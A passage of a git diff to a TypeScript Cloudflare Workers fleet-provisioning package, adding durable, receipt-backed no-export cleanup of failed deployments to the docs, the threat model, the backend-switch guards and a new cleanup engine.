'(?:^packages/fleet-control/src/(?:backend-switch|cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors|workers-for-platforms-backend-switch-provider|wrangler-plain-worker-provisioning-api|wrangler-loop-backend|wrangler-runner|export-file-name|export-store|r2-export-store|provision|fleet|index)\\.ts$|^packages/fleet-control/src/workers/|^cloudflare(?:/|$)|(?:^|/)node_modules/(?:\\.pnpm/)?cloudflare(?:@|/))', + reachable: true, + }, + }, { name: 'fleet-control-decommission-database-is-provider-neutral', severity: 'error', diff --git a/docs/fleet-control.md b/docs/fleet-control.md index afbf939c..3c39f2d2 100644 --- a/docs/fleet-control.md +++ b/docs/fleet-control.md @@ -51,7 +51,7 @@ if (!result.maintenance.armed) { The function persists every completed phase and validates the immutable tenant, environment, logical script, database, and route mapping on retry. Database creation advances from `database-reserved` to an explicit create-authorized ownership phase before the provider mutation, so a same-name discovery cannot be silently adopted after a crash or race. `D1FleetStateStore` serializes each deployment lifecycle with a renewable database-time lease and fences state writes with its owner token. It commits the exact Worker, dispatch-script, and R2 claims with the fleet row in one D1 batch. The final statement fails the whole batch if the lease expired after an earlier claim statement. A lost batch response converges only after raw serialized row values, the complete owned claim set, desired-key occupants, and the live lease all match. Specification digests make a retry use the exact intended modules, bindings, limits, and migrations. A changed ready specification must go through `migrateFleet()`. -Provisioning resumes from its last durable phase without repeating a committed step. Before `ready`, it compares the exact live tenant, environment, D1 binding, schema, specification digest, Durable Object bindings, plain-text variables, and secret names. Plain Worker, dispatch Worker, backend-switch, and control-plane inspection must consume every raw provider binding entry. An unknown type, malformed entry, duplicate name, binding absent from the structured inspection, or missing complete inventory fails closed even when the desired application groups are empty. Ordinary Worker secret names come from the authoritative secret-list API; if version resources also report them, the two inventories must agree. A failed first create revokes credentials and removes resources created by that attempt. If an upload may have succeeded, cleanup treats the Worker as present until deletion is positively confirmed; D1 is never deleted while a Worker or route may remain. Cleanup errors remain attached to `ProvisioningError.cleanupErrors`, and the durable phase remains available to retry or to `cleanupDeploymentArtifacts()`. +Provisioning resumes from its last durable phase without repeating a committed step. Before `ready`, it compares the exact live tenant, environment, D1 binding, schema, specification digest, Durable Object bindings, plain-text variables, and secret names. Plain Worker, dispatch Worker, backend-switch, and control-plane inspection must consume every raw provider binding entry. An unknown type, malformed entry, duplicate name, binding absent from the structured inspection, or missing complete inventory fails closed even when the desired application groups are empty. Ordinary Worker secret names come from the authoritative secret-list API; if version resources also report them, the two inventories must agree. A failed first create rolls back through the bounded cleanup engine when the deployment provably never authorized a candidate invocation: rollback persists a durable `provisioning-rollback` cleanup intent, revokes credentials, removes the resources this attempt created, and completes with an immutable terminal receipt in place of a bare row delete. A rollback the engine refuses — a Workers for Platforms or external-artifact candidate, an already authorized invocation, or a stack without the bounded capabilities that keeps the in-memory rollback — preserves the row at its phase. If an upload may have succeeded, cleanup treats the Worker as present until deletion is positively confirmed; D1 is never deleted while a Worker or route may remain. Cleanup errors remain attached to `ProvisioningError.cleanupErrors`, and the durable state remains available to retry or to `cleanupDeploymentArtifacts()`; see "Clean up failed provisioning with durable receipts". `initialExecutionFenceState` is required and accepts `open` or `migration-locked`. It is a provisioning decision, not part of `DeploymentSpec`, so it does not alter the specification digest. `provisionDeployment()` is asynchronous from entry: invalid initial state and other validation failures reject its promise instead of throwing before a promise exists. The final ready record uses the artifact version from post-promotion route attestation rather than the candidate inspection. @@ -209,7 +209,7 @@ Each target D1 database contains the authoritative `anchorage_fleet_migrations` External resource-group inventory checks the dispatch-native state script and each candidate as distinct roles under one immutable group identity. During a legacy switch rollback window, it also checks the adopted ordinary bridge. It verifies the shared D1 binding, local state namespaces, candidate remote Durable Object targets, application variables, exact secret names, application R2 bindings, exact named service and queue topology, trusted artifact and policy digests, static tenant and environment attribution, and the absence of public state routes. The backend-owned shared audit queue name is part of the persisted platform target and resource snapshot, so configuration drift cannot retarget an existing deployment. Route inventory records whether each entry came from the host registry, a custom domain, or a zone route. Fleet control reserves the owner-checked registry entry before upload so every script created through the supported client is enumerable by name. Plain-only collection makes no dispatch-namespace request. -Pass that independently collected `FleetResourceInventory` to `auditFleetDrift()`; do not derive it from fleet records. The audit works in both directions and contains an individual inspection or watchdog error so one broken deployment does not hide the rest. It reports missing, duplicate, malformed, and orphan scripts, databases, routes, Durable Object namespaces, and R2 buckets. It also reports exact application-variable, secret-name, R2-binding, route, artifact, and schema drift. Lifecycle-aware expectations distinguish an unpublished candidate, a published deployment, a retained rollback release, and resources that should already be absent during decommissioning. Secret-value drift remains opaque because provider inventory cannot return or hash the stored value. +Pass that independently collected `FleetResourceInventory` to `auditFleetDrift()`; do not derive it from fleet records. The audit works in both directions and contains an individual inspection or watchdog error so one broken deployment does not hide the rest. It reports missing, duplicate, malformed, and orphan scripts, databases, routes, Durable Object namespaces, and R2 buckets. It also reports exact application-variable, secret-name, R2-binding, route, artifact, and schema drift. Lifecycle-aware expectations distinguish an unpublished candidate, a published deployment, a retained rollback release, and resources that should already be absent during decommissioning. A deployment under an active bounded cleanup is its own reconciliation authority: the audit emits no expectation-based, orphan, or record-level findings for it — including `incomplete-provisioning` — while its cleanup intent is active, and its declared resource identities never read as orphans. A long-blocked cleanup stays visible through the record itself, in `phase: 'cleanup-advancing'` with a `blocked` step, never through drift findings. Secret-value drift remains opaque because provider inventory cannot return or hash the stored value. The maintenance watchdog evaluates deadline expiry, SLA sweep, retention purge, and the optional background tick independently, including their last attempt and error. Plain, platform-authored Workers authenticate maintenance with the deployment's maintenance secret. An external release never receives that reusable secret. Fleet control instead signs a short-lived Ed25519 capability bound to the operation, tenant, environment, physical release script, specification digest, expiry, and nonce. The global dispatcher verifies that capability before calling `DISPATCH.get()`, and the trusted state Worker verifies it again against static deployment bindings. `ensure-maintenance` atomically consumes the nonce, while status remains replay-safe and read-only. The state Worker signs the exact result with its per-state HMAC secret, and fleet control ignores the candidate's unsigned body. The mutation request timeout must remain shorter than both the capability lifetime and the active mutation lease. The current verifier is intentionally immutable across an existing global dispatcher and deployment record: ordinary per-tenant key rotation is unsupported. Rotation requires a coordinated fleet maintenance migration or a future overlapping JWKS design. @@ -286,6 +286,16 @@ Every backend operation that can issue a non-GET Cloudflare request receives the Cloudflare documents a 1,200-request-per-five-minute client API limit per user or account token, cumulative across callers. `CloudflareProvisioningClient` therefore requires a `CloudflareApiRateCoordinator`. Production uses `D1CloudflareApiRateCoordinator` over one shared direct Workers `D1Database` binding and an explicit nonsecret `quotaScope` identifying that provider quota. The coordinator calls only the binding's `prepare()` and `batch()` methods. Its runtime guard rejects objects without that interface, but JavaScript cannot prove whether a structurally compatible object is a direct binding or a remote facade. The trusted host must enforce the direct-binding requirement because remote coordination queries would consume the same Client API quota being protected. Independently constructed coordinators with the same binding and scope atomically share a rolling cap of 1,100 requests per five minutes across replicas. A non-Worker control plane must use a separately deployed coordinator service rather than a remote database adapter. Every SDK request, retry, pagination page, authenticated manual request, and signed export download reserves capacity before the network request. Coordinator failure fails closed. Ambiguous transport failures retain their reservation. Never derive the scope from, persist, or log the raw token. User-scoped credentials used across accounts must deliberately reuse one scope. The remaining 100 requests are reserve for dashboard and other out-of-band traffic; fleet control cannot count or guarantee room for that traffic. +## Clean up failed provisioning with durable receipts + +`cleanupDeploymentArtifacts()` removes an owned prepublication deployment without a database export. It drains the same bounded engine that `advanceCleanupDeployment()` exposes for Queue-driven control planes: call `start` first, then re-enqueue only the pending token each call returns; a blocked result stays inert until an exact `restart-blocked` with its current token. Fleet D1 owns the operation, its bounded attachment-scan progress, and the terminal receipt; a token is a continuation claim, not authority. One call performs at most one bounded scan chunk or one action group. Stale tokens return the current durable result, while future tokens, tokens for another deployment, and decommission tokens fail closed. An active cleanup intent of either authority resumes through `start`; a partial drain leaves the durable intent for retry. + +No-export database deletion is admissible only when the deployment provably never authorized a candidate invocation. Every new record carries a durable invocation-authority carrier from its first persisted write, and every candidate-invoking dispatch — an external candidate upload, the first maintenance request, a version override, or a promotion — commits an authorization timestamp durably before the provider call. A rejected or unacknowledged authority write aborts before dispatch, and a lost provider response counts as possible execution. Trusted platform-authored deployments therefore keep no-export cleanup through `worker-deployed`. Rows with an authorized carrier, Workers for Platforms and external-artifact candidates (every current candidate binds the deployment database), rows carrying external staging evidence, and legacy carrier-less rows at upload-ambiguous or later phases all refuse with a fixed message that names export-backed decommissioning as the remedy. Legacy carrier-less rows at phases that could not yet have dispatched an upload stay eligible, and the eligibility re-check runs again immediately before the database-deletion group. + +A completed cleanup atomically persists an immutable operation-keyed terminal receipt, releases the deployment's ownership claims, and deletes the fleet row in one D1 batch. The receipt records the admitted phase, the authority (`manual-cleanup` or `provisioning-rollback`), the disposition (`reservation-cleared` or `prepublication-owned-no-export`), and provider-text-free evidence. Receipts survive reprovisioning of the same key and force decommission, so a delayed token converges on its receipt instead of touching a new row. Read one with `readCleanupReceipt()`; prune explicitly with `pruneCleanupReceipts({ completedBeforeMs, limit })`, which uses the database-assigned completion time, a stable order, and an integer limit from 1 through 1,000. Pruning invalidates delayed tokens for exactly the pruned operations. + +A failed provision whose rollback admits the engine is durably `cleanup-advancing`: `provisionDeployment()` refuses to resume that row and directs to cleanup; complete the cleanup to its receipt, then reprovision fresh. `provisionDeployment({ failureCleanup: 'bounded' })` performs at most one bounded advance during rollback and surfaces the resumable outcome through `ProvisioningError.cleanup`. `forceDecommissionDeployment()` refuses during an active bounded cleanup — after remediation, `restart-blocked` is the only resolution for a blocked operation. On capable stores, force releases the deployment's current ownership claims with its terminal row delete; a legacy lease implementation without `deleteReleasingClaims` keeps tombstone claims through the plain row delete. Force remains receipt-free and evidence-free, and it never deletes the ordinary Worker script or application R2 buckets: after a force, do not reprovision the same names until residual physical resources are confirmed removed, because provisioning fails closed on ownership mismatch rather than adopting them. + ## Deploy the Workers for Platforms control plane `provisionPlatformPlane()` requires a `PlatformPlaneStateStore`. `D1FleetStateStore` implements it with permanent ownership claims for the account-scoped dispatch namespace, three ordinary Worker names, host-routing KV namespace, audit queue, and optional dead-letter queue. It also holds a renewable database-time lease over that exact resource set. A crashed owner can resume after lease expiry, but another platform-plane identity cannot claim any overlapping resource. The lease fences every mutation, covers the initial ownership inspection, and remains held through a final whole-group reinspection. diff --git a/docs/security-threat-model.md b/docs/security-threat-model.md index f870caa1..f144ba5b 100644 --- a/docs/security-threat-model.md +++ b/docs/security-threat-model.md @@ -148,6 +148,14 @@ Only an application Worker receives application variables, application secrets, Fleet control rejects application KV bindings. Cloudflare's [1,000-namespace account limit](https://developers.cloudflare.com/kv/platform/limits/) cannot support the 10,000-deployment horizon with one namespace per deployment. A shared application namespace would make logical key partitioning the tenant boundary. The shared `HOSTS` KV namespace remains a control-plane routing index and is not exposed to application code. +### Bounded no-export cleanup + +Destructive no-export cleanup deletes a deployment's database without an export, so its admissibility rests on one durable proof: candidate code never gained execution authority. Every new fleet record carries a versioned invocation-authority carrier from its first durable write, and every candidate-invoking dispatch — an external candidate upload, the first maintenance request, a version override, or a promotion — commits an authorization timestamp durably before the provider call dispatches. A rejected or unacknowledged authority write aborts before dispatch, and a lost provider response counts as possible execution. The eligibility classifier fails closed on malformed carriers, carrier-phase inconsistencies, Workers for Platforms and external-artifact candidates (every current candidate receives the deployment database binding), external staging evidence, and legacy carrier-less rows at phases that cannot rule out a dispatched upload; refusals name export-backed decommissioning as the only remedy, and the classifier re-runs against the persisted admission facts and the live carrier immediately before deletion. + +A completed cleanup writes an immutable operation-keyed terminal receipt atomically with claim release and row deletion. Receipts are insert-only, survive same-key reprovisioning and force decommission, and are removed only by explicit bounded pruning. Receipt evidence is provider-text-free: booleans, hash digests, and counts, never continuation tokens, scan cursors, provider messages, URLs, or secrets. + +`forceDecommissionDeployment()` stays a root-only, evidence-free, receipt-free last resort and refuses during an active bounded cleanup. On capable stores it releases the deployment's current ownership claims with the row, but it does not delete the ordinary Worker script or application R2 buckets, so a released name can precede residual physical resources. After a force, do not reprovision the same names until those residuals are confirmed removed: provisioning fails closed on ownership mismatch — the pre-existing-database refusal and the Worker ownership attestation — rather than adopting foreign resources. + ### Deployment sentinel Provisioning writes the same stable tag to two independent locations: diff --git a/packages/fleet-control/README.md b/packages/fleet-control/README.md index c937a27f..ba56f214 100644 --- a/packages/fleet-control/README.md +++ b/packages/fleet-control/README.md @@ -67,6 +67,8 @@ Plain-worker, dispatch-worker, backend-switch, and control-worker inspection con Use `advanceDecommissionDeployment()` for Queue-driven bounded normal teardown. Use root-only `advanceBackendSwitchDecommission()` for one bounded backend-switch step from a trusted Node control plane. Both APIs return durable continuation tokens and perform at most one scan chunk or one lifecycle/resource action group per call. Their asynchronous one-call compatibility paths drain the same engines for existing callers. +Use `advanceCleanupDeployment()` for bounded no-export cleanup of an owned prepublication deployment, and `cleanupDeploymentArtifacts()` as its asynchronous one-call drain. Eligibility is classified by `classifyCleanupDatabaseEligibility()` from the durable invocation-authority carrier: deployments whose candidate invocation was durably authorized, Workers for Platforms and external-artifact candidates, and ambiguous legacy rows refuse toward export-backed decommissioning. A completed cleanup persists an immutable operation-keyed terminal receipt and releases the deployment's ownership claims atomically with its row deletion; read receipts with `D1FleetStateStore.readCleanupReceipt()` and prune them explicitly with `pruneCleanupReceipts()`. A failed provision whose rollback admits the engine stays durably `cleanup-advancing` until the cleanup completes, and `provisionDeployment({ failureCleanup: 'bounded' })` surfaces the resumable outcome through `ProvisioningError.cleanup`. + A custom backend-switch provider must expose every bounded capability required by the state it resumes: attachment scanning, paired export receipt authority and export, exact database read and owner read, database residual checks, and bounded deletion. A plain pending artifact also requires `captureSwitchEntryPendingArtifact()`. The built-in provider reads that exact version plus the authoritative secret-name inventory and preserves provider Durable Object selectors, service entrypoints, R2 jurisdiction, D1 alias agreement, and namespace IDs. A missing capability, unrecognized binding field, changed authority, or non-exact observation fails before mutation. After Fleet D1 commits the operation snapshot, retries never recapture live pending-version authority. Use `forceDecommissionDeployment()` only when the host has lost the retained credentials or artifact required to rebuild a `DeploymentSpec`. The operation accepts the durable tenant and environment key instead of a specification. It runs under the deployment lease, removes every ordinary custom domain for the persisted script, disables and verifies public ingress, deletes the script’s current secrets, and deletes D1 by its persisted immutable ID after matching the persisted database name. It then removes the fleet ledger row. diff --git a/packages/fleet-control/src/backend-switch.ts b/packages/fleet-control/src/backend-switch.ts index ec25602a..9ae8882f 100644 --- a/packages/fleet-control/src/backend-switch.ts +++ b/packages/fleet-control/src/backend-switch.ts @@ -2575,6 +2575,31 @@ export function assertBackendSwitchInactive(record: FleetRecord): void { } } +/** + * @internal Durably commits the candidate-invocation authority flip before a + * candidate-invoking provider dispatch. A no-op when the carrier already + * carries a timestamp; otherwise the dedicated flip put is awaited so a write + * failure aborts the flow before the provider call dispatches. Legacy records + * without a carrier receive the whole carrier at the flip. + */ +export async function commitInvocationAuthority( + lease: Pick, + record: FleetRecord, + clock: () => number, +): Promise { + if (typeof record.invocationAuthority?.authorizedAt === 'string') { + return record; + } + const timestamp = new Date(clock()).toISOString(); + const flipped: FleetRecord = { + ...record, + invocationAuthority: { version: 1, authorizedAt: timestamp }, + updatedAt: timestamp, + }; + await lease.put(flipped); + return flipped; +} + /** @internal Package-private test/coordination seam; not a root export. */ export async function withBackendSwitchLease( store: FleetStateStore, @@ -2632,11 +2657,26 @@ export async function withBackendSwitchLease( ) { throw new Error('backend switch lease cannot write another intent'); } + const timestamp = new Date(clock()).toISOString(); + // The invocation-authority flip rides the candidate-invoking + // authorization-transition put so the carrier is durable before the + // external candidate upload or dispatch call it authorizes. + const flip = + (intent.subphase === 'candidate-deploy-authorized' || + intent.subphase === 'host-publish-authorized') && + typeof record.invocationAuthority?.authorizedAt !== 'string'; const provisional = backendSwitchFleetRecordFromUnknown({ ...record, + ...(flip + ? { + invocationAuthority: { + version: 1, + authorizedAt: timestamp, + } satisfies InvocationAuthorityCarrier, + } + : {}), backendSwitchIntent: intent, }).record; - const timestamp = new Date(clock()).toISOString(); const intended = backendSwitchFleetRecordFromUnknown({ ...provisional, updatedAt: timestamp, @@ -3004,6 +3044,7 @@ export async function reconcileFinalizedBackendSwitchState(input: { input.record, 'reconcileFinalizedBackendSwitchState', ); + assertNoActiveCleanup(input.record, 'reconcileFinalizedBackendSwitchState'); const priorBridge = finalizedBridgeForRecord(input.record); const switchIntent = input.record.backendSwitchIntent; if (!switchIntent) { @@ -3269,6 +3310,10 @@ export async function switchPlainDeploymentToWorkersForPlatforms(options: { lease.current(), 'switchPlainDeploymentToWorkersForPlatforms', ); + assertNoActiveCleanup( + lease.current(), + 'switchPlainDeploymentToWorkersForPlatforms', + ); let intent = await lease.get(); if (!intent) { const prior = await options.provider.snapshotPlainDeployment( @@ -3506,6 +3551,7 @@ export async function rollbackBackendSwitch(options: { Date.now, async (lease) => { assertNoActiveDecommission(lease.current(), 'rollbackBackendSwitch'); + assertNoActiveCleanup(lease.current(), 'rollbackBackendSwitch'); let intent = await lease.get(); if (!intent) { throw new Error('backend switch has no rollback snapshot'); @@ -3704,6 +3750,7 @@ export async function finalizeBackendSwitch(options: { Date.now, async (lease) => { assertNoActiveDecommission(lease.current(), 'finalizeBackendSwitch'); + assertNoActiveCleanup(lease.current(), 'finalizeBackendSwitch'); let intent = await lease.get(); if (!intent?.bridge || !intent.candidate) { throw new Error('backend switch has no finalization snapshot'); @@ -3937,6 +3984,7 @@ async function decommissionBackendSwitchLegacy(options: { Date.now, async (lease) => { assertNoActiveDecommission(lease.current(), 'decommissionBackendSwitch'); + assertNoActiveCleanup(lease.current(), 'decommissionBackendSwitch'); let intent = await lease.get(); if (!intent) throw new Error('backend switch has no decommission snapshot'); @@ -5784,6 +5832,9 @@ export async function decommissionBackendSwitch(options: { const current = structuralCurrent?.carriesBackendSwitchAuthority ? backendSwitchFleetRecordFromUnknown(structuralCurrent.record).record : structuralCurrent?.record; + if (current) { + assertNoActiveCleanup(current, 'decommissionBackendSwitch'); + } if (!current?.backendSwitchIntent) { if (current) { assertNoActiveDecommission(current, 'decommissionBackendSwitch'); diff --git a/packages/fleet-control/src/cleanup-advance.ts b/packages/fleet-control/src/cleanup-advance.ts new file mode 100644 index 00000000..1229bb61 --- /dev/null +++ b/packages/fleet-control/src/cleanup-advance.ts @@ -0,0 +1,1349 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { + advanceApplicationR2Deletion, + assertApplicationR2EmptyBeforeDecommission, +} from './application-bindings.js'; +import { + CleanupAdvanceTokenDeploymentError, + CleanupAdvanceTokenOperationError, + classifyCleanupAdvanceToken, + classifyCleanupDatabaseEligibility, + normalizeCleanupAdvanceIntent, + parseCleanupAdvanceToken, +} from './cleanup-intent.js'; +import { + assertWorkerAttachmentProviderRequestBudget, + initialWorkerAttachmentScan, + parseWorkerAttachmentScanProgress, + WORKER_ATTACHMENT_EVIDENCE_BOUND, +} from './cloudflare-worker-attachment-scan-state.js'; +import { + activeExternalRelease, + assertImmutableDeploymentMapping, + reconcilePersistedDatabase, + retainedExternalReleases, +} from './decommission-advance.js'; +import { settleDatabaseDeletionUnderBarrier } from './decommission-database.js'; +import { deploymentSpecDigest } from './spec-digest.js'; +import { cloneBoundedPlainData } from './strict-plain-data.js'; +import type { + ApplicationR2Resource, + CleanupAdvanceIntent, + CleanupAdvanceState, + CleanupAdvanceToken, + CleanupAttachmentProgress, + CleanupAttachmentPurpose, + CleanupAttachmentScan, + CleanupAuthority, + CleanupReceiptEvidence, + CleanupTerminalReceipt, + DatabaseReference, + DecommissionBlockedAttachment, + DeploymentSpec, + FleetRecord, + FleetStateLease, + FleetStateStore, + ProvisioningBackend, +} from './types.js'; +import { assertNoActiveDecommission } from './types.js'; +import { validateDeploymentSpec } from './validation.js'; + +const ACTION_ERROR = 'cleanup advance action is malformed'; +const RESULT_ERROR = 'bounded cleanup attachment result is malformed'; +const ATTACHMENT_STRING_BYTE_BOUND = 4_096; +const RESULT_PLAIN_DATA_DEPTH_BOUND = 64; +const RESULT_PLAIN_DATA_NODE_BOUND = 8_192; +const RESULT_PLAIN_DATA_BYTE_BOUND = 96 * 1_024; +const SHA256 = /^[0-9a-f]{64}$/u; +const STRUCTURED_CLONE = structuredClone; + +/** Caller command for one bounded cleanup invocation. */ +export type CleanupAdvanceAction = + | Readonly<{ + /** + * Create a new manual-cleanup operation, or read/resume an existing + * operation of EITHER authority. New operations are manual-cleanup only; + * rollback operations are created internally by the failed-provision + * path. + */ + kind: 'start'; + }> + | Readonly<{ + /** Advance a strictly parsed current token; stale returns current state. */ + kind: 'continue'; + token: unknown; + }> + | Readonly<{ + /** Explicitly restart an exact current blocked operation. */ + kind: 'restart-blocked'; + token: unknown; + }>; + +/** Inputs for one lease-scoped bounded cleanup action group. */ +export interface AdvanceCleanupDeploymentOptions { + readonly backend: ProvisioningBackend; + readonly store: FleetStateStore; + readonly spec: DeploymentSpec; + /** Typed command; its token remains an unknown strict-codec boundary. */ + readonly action: CleanupAdvanceAction; + /** Provider-fetch attempt budget for each bounded attachment scan, integer 9..1,000. */ + readonly maxProviderRequests: number; + /** Call-local cancellation, never persisted. */ + readonly signal?: AbortSignal; + /** Timestamp source; called once for each accepted write. */ + readonly clock?: () => number; + /** Called exactly once only when a genuinely new operation starts. */ + readonly randomUUID: () => string; +} + +/** Authoritative durable outcome after at most one bounded group. */ +export type CleanupAdvanceResult = + | Readonly<{ + /** More work remains; the token, not this status, is continuation input. */ + status: 'pending'; + token: CleanupAdvanceToken; + }> + | Readonly<{ + /** Provider attachment blocks deletion until explicit restart. */ + status: 'blocked'; + token: CleanupAdvanceToken; + purpose: CleanupAttachmentPurpose; + attachment: DecommissionBlockedAttachment; + }> + | Readonly<{ + /** Terminal receipt persisted atomically with claims release and row deletion. */ + status: 'complete'; + token: CleanupAdvanceToken; + receipt: CleanupTerminalReceipt; + }>; + +/** Named capability whose absence makes bounded cleanup work fail closed. */ +export type CleanupAdvanceCapability = + | 'attachment-scan' + | 'database-residuals' + | 'database-read' + | 'database-delete' + | 'application-r2-inspection' + | 'application-r2-empty' + | 'application-r2-detach' + | 'application-r2-delete' + | 'terminal-receipt' + | 'receipt-read'; + +const CAPABILITY_MESSAGES: Readonly> = + Object.freeze({ + 'attachment-scan': + 'backend cannot perform bounded cleanup attachment scans', + 'database-residuals': 'backend cannot inspect database deletion residuals', + 'database-read': 'backend cannot read the database for bounded cleanup', + 'database-delete': 'backend cannot delete the database for bounded cleanup', + 'application-r2-inspection': + 'backend cannot inspect application R2 resources', + 'application-r2-empty': 'backend cannot attest application R2 emptiness', + 'application-r2-detach': 'backend cannot attest application R2 detachment', + 'application-r2-delete': 'backend cannot delete application R2 resources', + 'terminal-receipt': + 'state lease cannot complete cleanup with an atomic terminal receipt', + 'receipt-read': 'state store cannot read cleanup terminal receipts', + }); + +/** Fixed configuration refusal for one missing bounded capability. */ +export class CleanupAdvanceCapabilityError extends Error { + constructor(readonly capability: CleanupAdvanceCapability) { + super(CAPABILITY_MESSAGES[capability]); + this.name = 'CleanupAdvanceCapabilityError'; + } +} + +/** Refusal for restart without an exact current blocked operation. */ +export class CleanupAdvanceRestartError extends Error { + constructor() { + super('cleanup advance restart requires a current blocked operation'); + this.name = 'CleanupAdvanceRestartError'; + } +} + +const REFUSAL_MESSAGES = Object.freeze({ + 'invocation-authorized': + 'deployment candidate invocation was durably authorized; use export-backed decommissioning', + 'legacy-phase-ambiguous': + 'legacy deployment phase cannot rule out candidate invocation; use export-backed decommissioning', + 'carrier-phase-inconsistent': + 'invocation authority carrier is inconsistent with the deployment phase; use export-backed decommissioning', + 'malformed-carrier': + 'invocation authority carrier is malformed; use export-backed decommissioning', + 'untrusted-data-binding': + 'deployment carries an untrusted data binding; use export-backed decommissioning', + 'external-staging-evidence': + 'deployment carries external staging evidence; use export-backed decommissioning', +}); + +type CleanupEligibilityRefusal = Extract< + ReturnType, + { readonly eligible: false } +>; + +function eligibilityRefusal( + classification: CleanupEligibilityRefusal, + phase: FleetRecord['phase'], +): Error { + if (classification.reason === 'phase-requires-decommission') { + return new Error( + `deployment in phase '${phase}' requires export-backed decommissioning`, + ); + } + return new Error(REFUSAL_MESSAGES[classification.reason]); +} + +function requireCapability( + available: unknown, + capability: CleanupAdvanceCapability, +): asserts available is (...arguments_: never[]) => unknown { + if (typeof available !== 'function') { + throw new CleanupAdvanceCapabilityError(capability); + } +} + +function requiredCapability( + available: Value, + capability: CleanupAdvanceCapability, +): NonNullable { + requireCapability(available, capability); + return available as NonNullable; +} + +function malformedAction(): never { + throw new Error(ACTION_ERROR); +} + +function cleanupActionFromUnknown(value: unknown): CleanupAdvanceAction { + let plain: unknown; + try { + plain = cloneBoundedPlainData(value, { + maxDepth: 8, + maxNodes: 32, + maxScalarBytes: 2_048, + maxSerializedBytes: 2_048, + error: () => new Error(ACTION_ERROR), + }); + Reflect.apply(STRUCTURED_CLONE, undefined, [value]); + } catch { + return malformedAction(); + } + if (!plain || typeof plain !== 'object' || Array.isArray(plain)) { + return malformedAction(); + } + const candidate = plain as Record; + const keys = Object.keys(candidate).sort(); + if (candidate.kind === 'start' && keys.length === 1 && keys[0] === 'kind') { + return { kind: 'start' }; + } + if ( + (candidate.kind === 'continue' || candidate.kind === 'restart-blocked') && + keys.length === 2 && + keys[0] === 'kind' && + keys[1] === 'token' + ) { + return { kind: candidate.kind, token: candidate.token }; + } + return malformedAction(); +} + +function malformedResult(): never { + throw new Error(RESULT_ERROR); +} + +function assertReservedAttempts(value: unknown, maximum: number): void { + if ( + !Number.isSafeInteger(value) || + Number(value) < 0 || + Number(value) > maximum + ) { + malformedResult(); + } +} + +function boundedString(value: unknown): value is string { + return ( + typeof value === 'string' && + value.length > 0 && + value.length <= ATTACHMENT_STRING_BYTE_BOUND && + new TextEncoder().encode(value).byteLength <= ATTACHMENT_STRING_BYTE_BOUND + ); +} + +function safeAttachment(value: unknown): DecommissionBlockedAttachment { + if (!value || typeof value !== 'object' || Array.isArray(value)) { + return malformedResult(); + } + const candidate = value as Record; + const plane = candidate.plane; + const scriptName = candidate.scriptName; + const dispatchNamespace = candidate.dispatchNamespace; + if (plane === 'ordinary' && boundedString(scriptName)) { + return { plane, scriptName }; + } + if ( + plane === 'dispatch' && + boundedString(scriptName) && + boundedString(dispatchNamespace) + ) { + return { plane, scriptName, dispatchNamespace }; + } + return malformedResult(); +} + +function nowIso(clock: () => number): string { + return new Date(clock()).toISOString(); +} + +function omitIntent(record: FleetRecord): Omit { + const { cleanupIntent: _intent, ...source } = record; + return source; +} + +function normalizeIntent( + intent: CleanupAdvanceIntent, + record: FleetRecord, +): CleanupAdvanceIntent { + return normalizeCleanupAdvanceIntent(intent, omitIntent(record)); +} + +function tokenFor(record: FleetRecord): CleanupAdvanceToken { + const intent = record.cleanupIntent; + if (!intent) throw new CleanupAdvanceTokenOperationError(); + return { + version: 1, + tenantTag: record.tenantTag, + environment: record.environment, + operationId: intent.operationId, + revision: intent.revision, + }; +} + +function authoritativeResult(record: FleetRecord): CleanupAdvanceResult { + const intent = record.cleanupIntent; + if (!intent) throw new CleanupAdvanceTokenOperationError(); + const token = tokenFor(record); + if (intent.state.step === 'blocked') { + return { + status: 'blocked', + token, + purpose: intent.state.purpose, + attachment: intent.state.attachment, + }; + } + return { status: 'pending', token }; +} + +function nextIntent( + intent: CleanupAdvanceIntent, + timestamp: string, + state: CleanupAdvanceState, + generation?: number, +): CleanupAdvanceIntent { + return { + version: 1, + operationId: intent.operationId, + revision: intent.revision + 1, + generation: generation ?? intent.generation, + updatedAt: timestamp, + authority: intent.authority, + identity: intent.identity, + state, + }; +} + +async function commit( + lease: FleetStateLease, + record: FleetRecord, + intent: CleanupAdvanceIntent, + clock: () => number, + recordValues: Readonly>>, + state: CleanupAdvanceState, + generation?: number, +): Promise { + const timestamp = nowIso(clock); + const source: FleetRecord = { + ...omitIntent(record), + ...recordValues, + updatedAt: timestamp, + }; + const next: FleetRecord = { + ...source, + cleanupIntent: normalizeCleanupAdvanceIntent( + nextIntent(intent, timestamp, state, generation), + source, + ), + }; + await lease.put(next); + return next; +} + +function assertBackendSwitchInactiveForCleanup(record: FleetRecord): void { + // Byte-identical to backend-switch.ts assertBackendSwitchInactive; the + // transport-neutral rule forbids importing that module from this engine. + if ( + record.backendSwitchIntent && + record.backendSwitchIntent.subphase !== 'rolled-back' && + record.backendSwitchIntent.subphase !== 'finalized' + ) { + throw new Error( + `deployment '${record.tenantTag}:${record.environment}' has active backend switch '${record.backendSwitchIntent.subphase}'`, + ); + } +} + +function assertCleanupCaller( + record: FleetRecord, + backend: ProvisioningBackend, + spec: DeploymentSpec, + intent: CleanupAdvanceIntent, +): void { + if (record.backend !== backend.kind) { + throw new Error('cleanup backend does not own this deployment'); + } + assertImmutableDeploymentMapping(record, backend, spec); + if ( + intent.authority.kind === 'provisioning-rollback' && + intent.authority.requestedSpecDigest !== deploymentSpecDigest(spec) + ) { + throw new Error('cleanup retry uses a different requested specification'); + } +} + +function assertRollbackDeletionAuthority( + intent: CleanupAdvanceIntent, + requireDatabaseOwned: boolean, +): void { + if (intent.authority.kind !== 'provisioning-rollback') return; + if ( + !intent.authority.reservationOwned || + (requireDatabaseOwned && !intent.authority.databaseOwned) + ) { + throw new Error( + 'provisioning rollback cannot delete a database the attempt does not own', + ); + } +} + +function requireStartCapabilities( + backend: ProvisioningBackend, + resources: readonly ApplicationR2Resource[], +): void { + requireCapability( + backend.advanceDecommissionAttachmentScan, + 'attachment-scan', + ); + requireCapability( + backend.assertDatabaseDeletionResidualsRemoved, + 'database-residuals', + ); + if (resources.length > 0) { + requireCapability( + backend.findApplicationR2Bucket, + 'application-r2-inspection', + ); + } + if (resources.some((resource) => resource.state !== 'deleted')) { + requireCapability(backend.assertApplicationR2Empty, 'application-r2-empty'); + requireCapability( + 